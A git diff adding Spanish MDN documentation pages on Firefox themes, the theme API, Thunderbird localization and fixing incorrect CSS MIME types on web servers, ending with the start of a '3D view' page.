+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"><a href="/Special:Tags?tag=Temas&amp;language=es" title="Special:Tags?tag=Temas&amp;language=es">Documentación</a></h4> <dl> <dt><a href="/es/Creando_un_tema_para_Firefox" title="es/Creando_un_tema_para_Firefox">Creando un tema para Firefox</a></dt> <dd><small>Para crear un tema para Firefox necesitaras saber tres cosas. Cómo editar imágenes, como extraer archivos zip, y como modificar CSS.</small></dd> </dl> <dl> <dt><a href="/es/Empaquetar_un_Tema" title="es/Empaquetar_un_Tema">Empaquetar un Tema</a></dt> <dd><small>Como empaquetar temas para Firefox y Thunderbird.</small></dd> </dl> <dl> <dt><a href="/es/Cambios_del_tema_en_Firefox_2" title="es/Cambios_del_tema_en_Firefox_2">Cambios del tema en Firefox 2</a></dt> <dd><small>¿Creaste un tema para Firefox 1.5, y ahora quieres actualizarlo para que funcione correctamente en Firefox 2?</small></dd> </dl> <dl> <dt><a href="/en/Installing_Extensions_and_Themes_From_Web_Pages" title="en/Installing_Extensions_and_Themes_From_Web_Pages">Installing Extensions and Themes From Web Pages (en)</a></dt> <dd><small>There are a variety of ways you can install <a href="/es/Extensiones" title="es/Extensiones">Extensiones</a> and <a href="/es/Temas" title="es/Temas">Temas</a> from web pages, including direct linking to the XPI files and using the <a href="/en/InstallTrigger" title="en/InstallTrigger">InstallTrigger</a> object.</small></dd> </dl> <p><span class="comment">;{{ mediawiki.external('http://cheeaun.phoenity.com/weblog/2004/12/first-steps-in-theme-design.html First steps in theme design (en)') }} :</span></p> <p><span class="alllinks"><a href="/Special:Tags?tag=Temas&amp;language=es" title="Special:Tags?tag=Temas&amp;language=es">Ver todos...</a></span></p> </td> <td style="background-color: #dda0dd;"> <h4 id="Comunidad" name="Comunidad">Comunidad</h4> <ul> <li><a class="external" href="http://www.mozillaes.org/index.php?option=com_forum&amp;Itemid=122&amp;page=viewforum&amp;f=15">Desarroll</a><span style="color: #ff66ff;"><a class=" external" href="http://www.publicdomainpictures.net/pictures/1000/nahled/345-1217201669MHzo.jpg" title="MDN"><img alt="MDN" class="default" src="http://www.publicdomainpictures.net/pictures/1000/nahled/345-1217201669MHzo.jpg"></a></span>o Mozilla en los foros de Mozilla-ES.</li> </ul> <ul> <li>View Mozilla forums...</li> </ul> <p>{{ DiscussionList("dev-themes", "mozilla.dev.themes") }}</p> <ul> <li><a class="external" href="http://forums.mozillazine.org/viewforum.php?f=18">MozillaZine Themes forum</a></li> </ul> <p><span class="alllinks"><a href="/es/Temas/Comunidad" title="es/Temas/Comunidad">Ver todos...</a></span></p> <h4 id="Herramientas" name="Herramientas">Herramientas</h4> <ul> <li><a href="/es/DOM_Inspector" title="es/DOM_Inspector">DOM Inspector</a></li> <li><a class="external" href="http://www.extensionsmirror.nl/index.php?showtopic=21">ChromeEdit, extensión para Firefox</a></li> </ul> <p><span class="alllinks"><a href="/Special:Tags?tag=Temas:Herramientas&amp;language=es" title="Special:Tags?tag=Temas:Herramientas&amp;language=es">Ver todos...</a></span></p> <h4 id="Temas_relacionados" name="Temas_relacionados">Temas relacionados</h4> <dl> <dd><a href="/es/CSS" title="es/CSS">CSS</a></dd> </dl> </td> </tr> </tbody>
+</table>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p> </p>
+<p>{{ languages( { "de": "de/Themes", "en": "en/Themes", "fr": "fr/Th\u00e8mes", "ja": "ja/Themes", "pl": "pl/Motywy", "zh-cn": "cn/\u4e3b\u9898", "zh-tw": "zh_tw/\u4f48\u666f\u4e3b\u984c" } ) }}</p>
diff --git a/files/es/temas/theme_concepts/index.html b/files/es/temas/theme_concepts/index.html
new file mode 100644
index 0000000000..1f096e9586
--- /dev/null
+++ b/files/es/temas/theme_concepts/index.html
@@ -0,0 +1,231 @@
+---
+title: Conceptos de los temas
+slug: Temas/Theme_concepts
+translation_of: Mozilla/Add-ons/Themes/Theme_concepts
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>Los temas desarrollados con la API WebExtensions en Firefox le permiten cambiar el aspecto del navegador al agregar imágenes al área del encabezado del navegador Firefox; este es el área detrás de la barra de menú, las barras de herramientas, la barra de direcciones, la barra de búsqueda y la barra de pestañas.</p>
+
+<p>Estas opciones de tema se pueden implementar como temas estáticos (aunque las imágenes del tema pueden ser animadas) o como temas dinámicos creados en una extensión del navegador</p>
+
+<div class="note">
+<p>If you have a <a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_themes">lightweight theme</a> it will be converted to this new theme format automatically before lightweight themes are deprecated. You do not need to port your theme. However, please feel free to update your themes to use any of the new features described here.</p>
+</div>
+
+<h2 id="Static_themes">Static themes</h2>
+
+<div class="note">
+<p id="Image_formats">Note that you can't yet submit static WebExtension-based themes to addons.mozilla.org. The work to support this is tracked in <a href="https://github.com/mozilla/addons/issues/501">https://github.com/mozilla/addons/issues/501</a>. If you want to share a theme with other users, you'll need to make it either a <a href="/en-US/docs/Mozilla/Add-ons/Themes/Lightweight_themes">lightweight theme</a> or a <a href="/en-US/Add-ons/WebExtensions/API/theme">dynamic theme</a>.</p>
+</div>
+
+<p>Static themes are specified using the same resources as a browser extension: a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> file to define the theme components with those components stored in the same folder as the manifest.json file or a sub folder. These resources are then packed in a zip for publication on <a href="https://addons.mozilla.org">addons.mozilla.org</a> (AMO).</p>
+
+<div class="note">
+<p>A theme and browser extension functionality cannot be defined in one package, such as including a theme to complement an extension. You can, however, programmatically include a theme in an extension using the Theme API. See <a href="#Dynamic_themes">Dynamic themes</a>.</p>
+</div>
+
+<h3 id="Defining_a_theme">Defining a theme</h3>
+
+<p>To create a theme (in this example a simple, single image theme):</p>
+
+<ul>
+ <li>Create a folder in a suitable location on your computer.</li>
+ <li>Add the theme image file to the folder:
+  <pre>&lt;mytheme&gt;
+ &lt;your_header_image&gt;.&lt;type&gt;</pre>
+ </li>
+ <li>Create a file called manifest.json in the folder and edit its content as follows:
+  <pre class="brush: json">{
+  "manifest_version": 2,
+  "version": "1.0",
+  "name": "&lt;your_theme_name&gt;",
+  "theme": {
+    "images": {
+      "headerURL": "&lt;your_header_image&gt;.&lt;type&gt;"
+    },
+    "colors": {
+      "accentcolor": "#FFFFFF",
+      "textcolor": "#000"
+    }
+  }
+}
+</pre>
+  Where:
+
+  <ul>
+   <li><code>"accentcolor":</code> is the heading area background color for your theme.</li>
+   <li><code>"</code><code>textcolor</code><code>":</code> the color of the text in the heading area.</li>
+  </ul>
+ </li>
+ <li>Package your theme and submit it to AMO, <a href="/en-US/Add-ons/WebExtensions/Publishing_your_WebExtension">following these instructions</a>.</li>
+</ul>
+
+<h3 id="Static_theme_approaches">Static theme approaches</h3>
+
+<p>There are two approaches you can take to theming the header area of Firefox: using a single image or using multiple images. You could combine the two, but it’s easier to treat them separately.</p>
+
+<h4 id="Single_image_themes">Single image themes</h4>
+
+<p>This is the basic or minimal theming option, where you define:</p>
+
+<ul>
+ <li>a single image, which is anchored to the top right of the header area.</li>
+ <li>A color for the text in the header.</li>
+</ul>
+
+<p>The area your header image needs to fill is a maximum of 200 pixels high. The maximum image width is determined by the resolution of the monitor Firefox is displaying on and how much of the monitor Firefox is using. Practically, this means you would need to allow for a width of up to 5120 pixels wide (for the next generation of 5k monitors). However, rather than creating a very wide image, a better approach is to use a narrower image with a transparent left edge so that it fades to the background color. For example, we could use this image<br>
+ <img alt="An image of a weta (the common name for a group of about 70 insect species in the families Anostostomatidae and Rhaphidophoridae, endemic to New Zealand) with the left edge fading to total transparency." src="https://mdn.mozillademos.org/files/15215/weta.png" style="height: 200px; width: 406px;"><br>
+ combined with a complementary background color, to create this effect in the header<br>
+ <img alt="A single image theme using the weta.png image" src="https://mdn.mozillademos.org/files/15217/basic_theme.png" style="height: 113px; width: 679px;"></p>
+
+<p>See details about this theme in the <a href="https://github.com/mdn/webextensions-examples/tree/master/themes">themes</a> example <a href="https://github.com/mdn/webextensions-examples/tree/master/themes/weta_fade">weta_fade</a>.</p>
+
+<p>Obviously, you can still provide a single wide image if you prefer.</p>
+
+<h4 id="Multiple_image_themes">Multiple image themes</h4>
+
+<p>As an alternative to creating a single image theme, you have the option to use multiple images. These images can be individually anchored to locations within the header, with the option to apply tiling to each image.</p>
+
+<p>Depending on the effect you want to create you may need to suppress the mandatory <code>"</code><code>headerURL</code><code>":</code> image with an empty or transparent image. You would use an empty or transparent image if, for example, you wanted to tile a centrally justified image, such as<br>
+ <img alt="An image of a weta (the common name for a group of about 70 insect species in the families Anostostomatidae and Rhaphidophoridae, endemic to New Zealand) with the left and right edges fading to total transparency." src="https://mdn.mozillademos.org/files/15219/weta_for_tiling.png" style="height: 200px; width: 270px;"><br>
+ to create this effect<br>
+ <img alt="A single image theme using the additional images option to align an image to the center of the heading and tile it. " src="https://mdn.mozillademos.org/files/15221/tiled_theme.png" style="height: 113px; width: 679px;"><br>
+ Here you specify the weta image like this:</p>
+
+<pre class="brush: json" dir="ltr">"images": {
+  "headerURL": "empty.png",
+  "additional_backgrounds": [ "weta_for_tiling.png"]
+},</pre>
+
+<p dir="ltr">and the images tiling with:</p>
+
+<pre class="brush: json" dir="ltr">"properties": {
+  "additional_backgrounds_alignment": [ "top" ],
+  "additional_backgrounds_tiling": [ "repeat"  ]
+},</pre>
+
+<p>Full details of how to setup this theme can be found in the <a href="https://github.com/mdn/webextensions-examples/tree/master/themes">themes</a> example <a href="https://github.com/mdn/webextensions-examples/tree/master/themes/weta_tiled">weta_tiled</a>. Full detais of the alignment and tiling options can be found in the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/theme">"theme" key description</a>.</p>
+
+<p>Alternatively, you can use multiple images, say combining the original weta image with this one anchored to the left of the header<br>
+ <img alt="An image of a weta (the common name for a group of about 70 insect species in the families Anostostomatidae and Rhaphidophoridae, endemic to New Zealand) with the right edge fading to total transparency." src="https://mdn.mozillademos.org/files/15223/weta-left.png" style="height: 200px; width: 406px;"><br>
+ to create this effect<br>
+ <img alt="A theme using the additional images option to place two mirrored image to the left and right of the browser header." src="https://mdn.mozillademos.org/files/15225/multi_image_theme.png" style="height: 113px; width: 679px;"></p>
+
+<p>Where the images are specified with:</p>
+
+<pre class="brush: json" dir="ltr">"images": {
+  "headerURL": "empty.png",
+  "additional_backgrounds": [ "weta.png", "weta-left.png"]
+},</pre>
+
+<p dir="ltr">and their alignment by:</p>
+
+<pre class="brush: json" dir="ltr">"properties": {
+  "additional_backgrounds_alignment": [ "right top" , "left top" ]
+},</pre>
+
+<p>Full details of how to setup this theme can be found in the <a href="https://github.com/mdn/webextensions-examples/tree/master/themes">themes</a> example <a href="https://github.com/mdn/webextensions-examples/tree/master/themes/weta_mirror">weta_mirror</a>. Full detais of the alignment options can be found in the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/theme">"theme" key description</a>.</p>
+
+<h3 id="Static_animated_themes">Static animated themes</h3>
+
+<p>It is possible to create an animated theme using an APNG format image, as in the <a href="https://github.com/mdn/webextensions-examples/tree/master/themes">themes</a> example <a href="https://github.com/mdn/webextensions-examples/tree/master/themes/animated">animated</a>. However, remember that rapid animations, such as the one in the example might be too distracting for a practical theme.</p>
+
+<p dir="ltr">You can also animate themes programmatically, which we discuss in <a href="#Dynamic_themes">Dynamic themes</a>.</p>
+
+<h2 id="Dynamic_themes">Dynamic themes</h2>
+
+<p>As an alternative to defining a static theme, you can use the {{WebExtAPIRef("theme")}} API to control the theme used in Firefox from within a browser extension. There are a couple of use cases for this option:</p>
+
+<ul>
+ <li>To bundle a theme with a browser extension, as an added extra.</li>
+ <li>Create a dynamic theme that changes under programmatic control.</li>
+</ul>
+
+<p>And, obviously, you can combine the two and bundle a programmatically controlled theme with your extension.</p>
+
+<p>Using the {{WebExtAPIRef("theme")}} API is straightforward. First, request "theme"<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions"> permission</a> in the extension's<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json"> manifest.json</a> file. Next, you build a JSON object containing the same information you would use in a static theme’s manifest.json, Finally, pass the JSON object in a {{WebExtAPIRef("theme.update()")}} call.</p>
+
+<p>For example, the following code, from the <a href="https://github.com/mdn/webextensions-examples/tree/master/dynamic-theme">dynamic theme example</a> defines the content for the day and night elements of the dynamic theme:</p>
+
+<pre class="brush: js" dir="ltr">const themes = {
+  'day': {
+    images: {
+     headerURL: 'sun.jpg',
+    },
+    colors: {
+     accentcolor: '#CF723F',
+     textcolor: '#111',
+    }
+  },
+  'night': {
+    images: {
+     headerURL: 'moon.jpg',
+    },
+    colors: {
+     accentcolor: '#000',
+     textcolor: '#fff',
+    }
+  }
+};</pre>
+
+<p>The theme.Theme object is then passed to {{WebExtAPIRef("theme.update()")}} to change the header theme, as in this code snippet from the same example:</p>
+
+<pre class="brush: js" dir="ltr">function setTheme(theme) {
+  if (currentTheme === theme) {
+    // No point in changing the theme if it has already been set.
+    return;
+  }
+  currentTheme = theme;
+  browser.theme.update(themes[theme]);
+}</pre>
+
+<p dir="ltr">Learn more about dynamic themes and see an additional example in the following video:</p>
+
+<p dir="ltr">{{EmbedYouTube("ycckyrUN0AY")}}</p>
+
+<p dir="ltr"> </p>
+
+<p dir="ltr">If you have not built a browser extension before, check out <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">Your first extension</a> for a step-by-step guide.</p>
+
+<h2 id="Cross_browser_compatibility">Cross browser compatibility</h2>
+
+<p>There is currently limited compatibility between themes in the major browsers. Opera takes an entirely different approach, and Microsoft Edge themes are not yet open to developers.</p>
+
+<p>There is some compatibility between Firefox static themes and Chrome themes, providing the ability to port a single header image theme from Firefox to Chrome. This would be done by amending the manifest.json keys as follows:</p>
+
+<ul>
+ <li><code>"headerURL":</code> to <code>"theme_frame":</code></li>
+ <li><code>"accentcolor":</code> to <code>"frame":</code></li>
+ <li><code>"textcolor":</code> to <code>"tab_text":</code></li>
+</ul>
+
+<p>Noting that "frame": and "tab_text": support RGB color definition only.</p>
+
+<p>So, in the single image theme example (weta_fade) could be supported in Chrome using the following manifest.json file:</p>
+
+<pre class="brush: json" dir="ltr">{
+  "manifest_version": 2,
+  "version": "1.0",
+  "name": "&lt;your_theme_name&gt;",
+  "theme": {
+    "images": {
+      "theme_frame": "weta.png"
+    },
+    "colors": {
+      "frame": [ 173 , 176 , 159 ],
+      "tab_text": [ 0 , 0 , 0 ]
+    }
+  }
+}</pre>
+
+<p>However, there will be a couple of differences:</p>
+
+<ul>
+ <li>Chrome tiles the <code>“theme_frame”:</code> image from the left of the header area.</li>
+ <li><code>"tab_text":</code> only affects the text on the highlighted/active tab.</li>
+</ul>
+
+<p dir="ltr"><img alt="The basic theme example using the Chrome compatible manifest.json keys, showing the differences in how those keys are implemented." src="https://mdn.mozillademos.org/files/15227/basic_in_chrome.png" style="height: 113px; width: 679px;"></p>
+
+<p>For more information, see the notes on <a href="/en-US/Add-ons/WebExtensions/manifest.json/theme#Chrome_compatibility">Chrome compatibility</a>.</p>
diff --git a/files/es/thunderbird_localization/index.html b/files/es/thunderbird_localization/index.html
new file mode 100644
index 0000000000..18dc50a274
--- /dev/null
+++ b/files/es/thunderbird_localization/index.html
@@ -0,0 +1,100 @@
+---
+title: Localización de Thundebird
+slug: Thunderbird_Localization
+tags:
+  - Localización
+  - Thunderbird 3
+  - Traducción
+  - thunderbird
+translation_of: Mozilla/Projects/Thunderbird/Thunderbird_Localization
+---
+<p>Esta página está dirigida a todos los traductores (tanto presentes como futuros) de Thunderbird, el cliente de correo electrónico y grupos de noticias de Mozilla. Esta página abarca muchos aspectos que un traductor de Thunderbird debe tener en cuenta, como por ejemplo, conocer las herramientas necesarias y saber cómo obtener información sobre los eventos de traducción más importantes, así como otros artículos de interés.</p>
+
+<h2 id="Crear_una_localización_de_Thundebird">Crear una localización de Thundebird</h2>
+
+<p><a href="/en/Bootstrapping_a_New_Locale" title="En/Creating_a_new_localization_(Mercurial)">Crear una nueva localización (Mercurial)</a> - En este artículo se describe cómo puedes crear una nueva localización para Thunderbird.</p>
+
+<h3 id="Sobre_los_repositorios_y_las_ramas">Sobre los repositorios y las ramas</h3>
+
+<p>Hay 3 repositorios activos para el desarrollo de Thunderbird. El trabajo de desarrollo de Thunderbird se fusiona de una rama a otra cada seis semanas.</p>
+
+<ul>
+ <li>comm-central - También conocido como Trunk or "Daily"
+  <ul>
+   <li>En esta rama tiene lugar el desarrollo de forma regular de Thunderbird. Las cadenas que hay que traducir en esta rama pueden cambiar en cualquier momento.</li>
+   <li>Sólo se espera que un reducido grupo de localizadores trabaje en esta rama.</li>
+  </ul>
+ </li>
+ <li>comm-aurora - También conocido como "Earlybird"
+  <ul>
+   <li>En esta rama comienza a estabilizarse el desarrollo de una versión concreta de Thunderbird.</li>
+   <li>No está permitido añadir nuevas características o funcionalidades y las cadenas que hay que traducir están "congeladas".</li>
+   <li>Los localizadores deben hacer todo el trabajo posible en esta rama y lograr el cierre de la versión.</li>
+   <li>El trabajo realizado aquí se fusiona automáticamente con la rama beta cada 6 semanas.</li>
+  </ul>
+ </li>
+ <li>comm-beta - También conocido como canal "Beta"
+  <ul>
+   <li>Aquí es donde se previsualiza el desarrollo de Thunderbird a una gran cantidad de usuarios.</li>
+   <li>Se realiza la estabilización final de la aplicación.</li>
+   <li>Se realiza muy poco trabajo de localización aquí.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>La mayoría de los localizadores trabajan en la rama comm-aurora. En lo que se refiere a las cadenas, este repositorio/rama se mantiene estable durante un período de seis semanas. Cuando se finaliza aquí el trabajo significa que está listo para la primera beta y no tendrás que trabajar la rama beta. Tu trabajo, a partir de este punto, se llevara a la versión final de Thunderbird automáticamente.</p>
+
+<h3 id="Requisitos_de_localización">Requisitos de localización</h3>
+
+<p>No hay restricciones importantes sobre los cambios que pueden realizar los traductores. Sin embargo, tenemos que trabajar juntos para proporcionar los motores de búsqueda adecuados a los usuarios de Thunderbird y conseguir un equilibrio perfecto entre los motores de búsqueda y su conjunto de opciones. Para más información, puedes consultar esta <a href="/en/Thunderbird_Localization/Productization" title="en/Thunderbird_Localization/Productization">página</a>.</p>
+
+<h3 id="Panel_de_localización.">Panel de localización.</h3>
+
+<p>El <a href="https://l10n.mozilla.org/teams/">panel de localización</a> de Thunderbird proporciona a los localizadores una visión precisa del estado actual de sus localizaciones. Puedes ver más información detallada en la página del <a href="https://wiki.mozilla.org/Thunderbird:Localization:Dashboard">panel de localización</a>.</p>
+
+<p>Las traducciones se añaden al panel de localización a petición cuando se ha alcanzado un alto nivel de finalización (&gt; 80%), tal y como se muestra por la salida <a href="/en/Compare-locales">compare-locales</a>. Para solicitar que se añada una traducción al panel de localización, abre una <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Thunderbird&amp;component=Build%20Config">nueva incidencia</a> en el producto Thunderbird, en el componente Build Config.</p>
+
+<h2 id="Obtener_información_relevante_sobre_la_localización_de_Thunderbird">Obtener información relevante sobre la localización de Thunderbird</h2>
+
+<h3 id="Grupos_de_noticias_y_Listas_de_correo">Grupos de noticias y Listas de correo</h3>
+
+<p>Los traductores de Thunderbird deben leer los grupos de noticias de localización (<a class="external" href="http://groups.google.de/group/mozilla.dev.l10n.announce" title="http://groups.google.de/group/mozilla.dev.l10n.announce">mozilla.dev.l10n.announce</a> <a class="external text" href="http://groups.google.de/group/mozilla.dev.l10n" rel="nofollow" title="http://groups.google.de/group/mozilla.dev.l10n">mozilla.dev.l10n</a>) para estar informados de los temás de Thunderbird que les puedan resultar interesantes, tanto los más específicos como los generales. Tambien se les anima a leer el grupo de noticias de desarrollo de Thunderbird (<a class="external text" href="http://groups.google.de/group/mozilla.dev.apps.thunderbird" rel="nofollow" title="http://groups.google.de/group/mozilla.dev.apps.thunderbird">mozilla.dev.apps.thunderbird</a>) para mantenerse informado de las últimas novedades relacionadas con el desarrollo de Thunderbird.</p>
+
+<p>También se puede acceder a estos grupos de noticias a través de las listas <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-l10n-announce" title="https://lists.mozilla.org/listinfo/dev-l10n-announce">dev-l10n-announce@lists.mozilla.org</a> y <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-l10n" title="https://lists.mozilla.org/listinfo/dev-l10n">dev-l10n@lists.mozilla.org</a> (listas de correo de localización) o de la lista de correo <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-apps-thunderbird" title="https://lists.mozilla.org/listinfo/dev-apps-thunderbird">dev-apps-thunderbird@lists.mozilla.org</a> (lista de correo de desarrollo), que reflejan los grupos de noticias mencionados anteriormente. Puedes suscribirte o darte de baja de estas listas de correo a través de la interfaz web que se encuentra en <a class="link-https" href="https://lists.mozilla.org/listinfo" title="https://lists.mozilla.org/listinfo">lists.mozilla.org</a>.</p>
+
+<h3 id="Bugzilla"><span class="mw-headline">Bugzilla</span></h3>
+
+<p>Los localizadores deberían echarle un vistazo a la dirección de correo <a class="link-mailto" href="mailto:thunderbird@localization.bugs" rel="freelink">thunderbird@localization.bugs</a> (o a su alias :tb-l10n) para mantenerse informados de los bugs que puedan afectar a la localización de Thunderbird. Para poder acceder a ella, solo tienes que añadir la dirección de correo a la sección "User Watching" de tus <a class="link-https" href="https://bugzilla.mozilla.org/userprefs.cgi?tab=email" title="https://bugzilla.mozilla.org/userprefs.cgi?tab=email">preferencias de correo</a> en bugzilla.</p>
+
+<h3 id="Algunos_enlaces_útiles">Algunos enlaces útiles</h3>
+
+<ul>
+ <li><a class="external text" href="https://bugzilla.mozilla.org/buglist.cgi?product=MailNews+Core&amp;product=Thunderbird&amp;keywords_type=allwords&amp;keywords=l12y&amp;bug_status=UNCONFIRMED,NEW,ASSIGNED,REOPENED" rel="nofollow" title="https://bugzilla.mozilla.org/buglist.cgi?product=MailNews+Core&amp;product=Thunderbird&amp;keywords_type=allwords&amp;keywords=l12y&amp;bug_status=UNCONFIRMED,NEW,ASSIGNED,REOPENED">Errores abiertos que contienen la palabra clave l12y (localizabilidad</a><a class="external text" href="https://bugzilla.mozilla.org/buglist.cgi?product=MailNews+Core&amp;product=Thunderbird&amp;keywords_type=allwords&amp;keywords=l12y&amp;bug_status=UNCONFIRMED,NEW,ASSIGNED,REOPENED" rel="nofollow" title="https://bugzilla.mozilla.org/buglist.cgi?product=MailNews+Core&amp;product=Thunderbird&amp;keywords_type=allwords&amp;keywords=l12y&amp;bug_status=UNCONFIRMED,NEW,ASSIGNED,REOPENED">)</a></li>
+ <li><a class="external text" href="https://bugzilla.mozilla.org/buglist.cgi?product=MailNews+Core&amp;product=Thunderbird&amp;bug_status=UNCONFIRMED,NEW,ASSIGNED,REOPENED&amp;emailcc1=1&amp;emailtype1=exact&amp;email1=thunderbird@localization.bugs" rel="nofollow" title="https://bugzilla.mozilla.org/buglist.cgi?product=MailNews+Core&amp;product=Thunderbird&amp;bug_status=UNCONFIRMED,NEW,ASSIGNED,REOPENED&amp;emailcc1=1&amp;emailtype1=exact&amp;email1=thunderbird%40localization.bugs">Errores abiertos que necesitan la atención del localizador  (thunderbird@localization.bugs esta en CC para ese error)</a></li>
+</ul>
+
+<h2 id="Locale_Tiers"><span class="mw-headline">Locale Tiers </span></h2>
+
+<p>Los niveles de traducción reflejan las traducciones que necesitan estar en un buen estado para su liberación. Hay 10 traducciones en el nivel 1, que son las más importantes para Thunderbird debido al número de usuarios de Thunderbird o a su potencial de crecimiento.</p>
+
+<p>Estas localizaciones se tratan como ciudadanos de primera clase, son igual de importantes que la locale es-US, lo que quiere decir que cualquier traducción de nivel 1 que no cumpla los requisitos mínimos puede bloquear una versión final de Thunderbird.</p>
+
+<h3 id="Nivel_1">Nivel 1</h3>
+
+<p>Las siguientes localizaciones son P1 (prioridad 1) en orden de prioridad:</p>
+
+<pre>* de             -  Alemán
+* fr             -  Fracnés
+* ja, ja-JP-mac  -  Japonés
+* en-GB          -  Inglés británico
+* es-ES          -  Español (Continente europeo)
+* it             -  Italiano
+* pl             -  Polaco
+* ru             -  Ruso
+* nl             -  Holandés
+* pt-BR          -  Portugués brasileño
+</pre>
+
+<h3 id="Nivel_2">Nivel 2</h3>
+
+<p>El resto de localizaciones admitidas se encuentra en la categoria Nivel 2.</p>
diff --git a/files/es/tipo_mime_incorrecto_en_archivos_css/index.html b/files/es/tipo_mime_incorrecto_en_archivos_css/index.html
new file mode 100644
index 0000000000..7bdd8d3996
--- /dev/null
+++ b/files/es/tipo_mime_incorrecto_en_archivos_css/index.html
@@ -0,0 +1,46 @@
+---
+title: Tipo MIME incorrecto en archivos CSS
+slug: Tipo_MIME_incorrecto_en_archivos_CSS
+tags:
+  - CSS
+  - Todas_las_Categorías
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<h3 id=".C2.BFCu.C3.A1l_es_el_problema.3F"> ¿Cuál es el problema? </h3>
+<p>Quizás encuentres una web que use CSS con un diseño pobre en Netscape 7.x o cualquier navegador basado en Gecko como Mozilla, mientras que en Internet Explorer se muestra correctamente. Una de las razones más comunes para que esto suceda es una configuración inapropiada del servidor que tiene almacenado el archivo CSS. Algunos servidores Apache e iPlanet asocian archivos con extensión .CSS con un tipo incorrecto MIME como el "text/plain" o "application/x-pointplus". En algunos casos, Netscape 7.x y Mozilla ignoran el archivo CSS porque tiene un tipo MIME incorrecto y usan una hoja de estilo por defecto que causa que el diseño sea diferente del que se pretendía por parte del desarrollador web.
+</p>
+<h3 id=".C2.BFCu.C3.A1ndo_ocurre_esto.3F"> ¿Cuándo ocurre esto? </h3>
+<p>La <a class="external" href="http://www.w3.org/TR/REC-CSS2/conform.html#text-css">especificación</a> W3C menciona que los archivos CSS deben ser almacenados con el tipo MIME "text/css". Mozilla y Netscape 7.x, cuando son usados en "modo estricto" siguen la especificación al pie de la letra y esperan que el archivo CSS este almacenado con el tipo MIME correcto (El "Modo estricto" se activa teniendo una Definición del Tipo de Documento estricta en la primera línea de la página HTML). En el "modo no estricto", ambas aplicaciones tolerarán el tipo MIME incorrecto y usarán la hoja de estilo adjunta a pesar de la configuración errónea del servidor. Esto significa que no puedes tener documentos en modo "estricto" con un servidor mal configurado. Internet Explorer te permite saltarte esta desconfiguración al no tener en cuenta el tipo MIME que el servidor proporciona en la cabecera del http.
+</p>
+<h3 id=".C2.BFQu.C3.A9_puedo_hacer_para_cambiar_esto.3F"> ¿Qué puedo hacer para cambiar esto? </h3>
+<p>Debes comentar a los administradores del servidor que actualicen el archivo de configuración de tipo MIME en el servidor web.
+</p><p>Esta cuestión, en los servidores web iPlanet/Netscape ya ha sido puesta en conocimiento por el vendedor, quien ha añadido una <a href="#Cambiando_el_tipo_MIME_en_servidores_iPlanet.2FSun">nota técnica</a> en su base de conocimientos.
+</p><p>Si usas Apache, puedes cambiar también la configuración del archivo .htaccess en tu directorio raíz (El archivo .htaccess es un archivo de solo lectura que maneja varias cosas incluyendo los tipos MIME). Añade esta línea a tu archivo .htaccess:
+</p>
+<pre>AddType text/css .css</pre>
+<p>Ten en cuenta que algunos Webmasters han deshabilitado el uso del archivo de configuración .htaccess en sus servidores Apache porque tiene un pequeño impacto de rendimiento.
+</p>
+<h3 id="Conclusi.C3.B3n"> Conclusión </h3>
+<p>Usar un tipo de definición de documento estricta con Mozilla dará lugar a que el servidor que aloja tus páginas web necesite ser configurado apropiadamente. Hay varias soluciones a este problema, pero la más efectiva es tener el tipo MIME correcto asociado a los archivos .css. Comenta al Webmaster que arregle esto por ti, ¡todo el mundo que publique documentos html en modo estricto te lo agradecerá!
+</p>
+<h3 id="Cambiando_el_tipo_MIME_en_servidores_iPlanet.2FSun"> Cambiando el tipo MIME en servidores iPlanet/Sun </h3>
+<p><b>Problema</b>
+</p><p>Los usuarios se encuentran con un dialogo de <i>Salvar como</i> con el tipo de contenido <i>application/x-pointplus</i> o con el contenido del archivo CSS representado como texto en el navegador cuando una pagina incluye una Hoja de Estilo con la extensión .css.
+</p><p><b>Solución</b>
+</p><p>El tipo de archivo .css no esta enlazado a las hojas de estilo en los tipos por defecto MIME incluidos en el Enterprise Server. Puedes cambiar el enlace en la pagina de tipos globales MIME.
+</p><p>Para acceder a esta página, desde el admin server acceder a <i>Preferencias del Servidor</i>, <i>MIME Types</i>, y establece el tipo MIME a .css a <i>text/css</i> en vez de <i>application/x-pointplus</i>.
+</p><p>Si el problema persiste, desactiva el keepalive añadiendo "KeepAliveTimeout 0" al <i>magnus.conf</i>
+</p><p>Basado en: <a class="external" href="http://sunsolve.sun.com">SunSolve, Sun Microsystems</a>
+</p>
+<h3 id="Fuentes_adicionales"> Fuentes adicionales </h3>
+<p><a href="es/Configurar_correctamente_los_tipos_MIME_del_servidor">Configurar correctamente los tipos MIME del servidor</a>
+</p><p><a class="external" href="http://www.htmlhelp.com/faq/html/media.html#garbled-media">Sobre garbled media</a>
+</p>
+<div class="originaldocinfo">
+<h3 id="Informaci.C3.B3n_original_del_documento"> Información original del documento </h3>
+<ul><li> Autor(es): Tristan Nitot
+</li><li> Última actualización: March 18th, 2002
+</li><li> Copyright © 2001-2003 Netscape.
+</li></ul>
+</div>
+{{ languages( { "en": "en/Incorrect_MIME_Type_for_CSS_Files", "fr": "fr/Type_MIME_incorrect_pour_les_fichiers_CSS", "pl": "pl/Nieprawid\u0142owy_typ_MIME_plik\u00f3w_CSS" } ) }}
diff --git a/files/es/tools/3d_view/index.html b/files/es/tools/3d_view/index.html
new file mode 100644
index 0000000000..973f780ee7
--- /dev/null
+++ b/files/es/tools/3d_view/index.html
@@ -0,0 +1,83 @@
+---
+title: 3D view
+slug: Tools/3D_View
+translation_of: Tools/3D_View
+---
